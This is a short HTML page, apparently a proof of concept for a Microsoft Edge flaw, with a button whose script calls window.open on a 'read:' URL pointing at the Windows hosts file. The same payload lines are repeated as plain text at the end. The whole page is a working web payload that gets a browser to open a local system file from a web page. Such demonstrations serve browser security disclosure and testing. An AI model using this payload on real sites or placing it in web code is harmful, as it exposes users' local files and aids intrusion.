MS Edge - Open hosts file
<br /><br />
<input value="Open Hosts File" type="button" onclick="openHosts()">
<br /><br />
Click the button above to open your hosts
<script>
function openHosts()
{
	url = "read:,c:\\windows\\system32\\drivers\\etc\\hosts";
	window.open(url, "", "width=300,height=300");
}

</script>
<plaintext>
	url = "read:,c:\\windows\\system32\\drivers\\etc\\hosts";
	window.open(url, "", "width=300,height=300");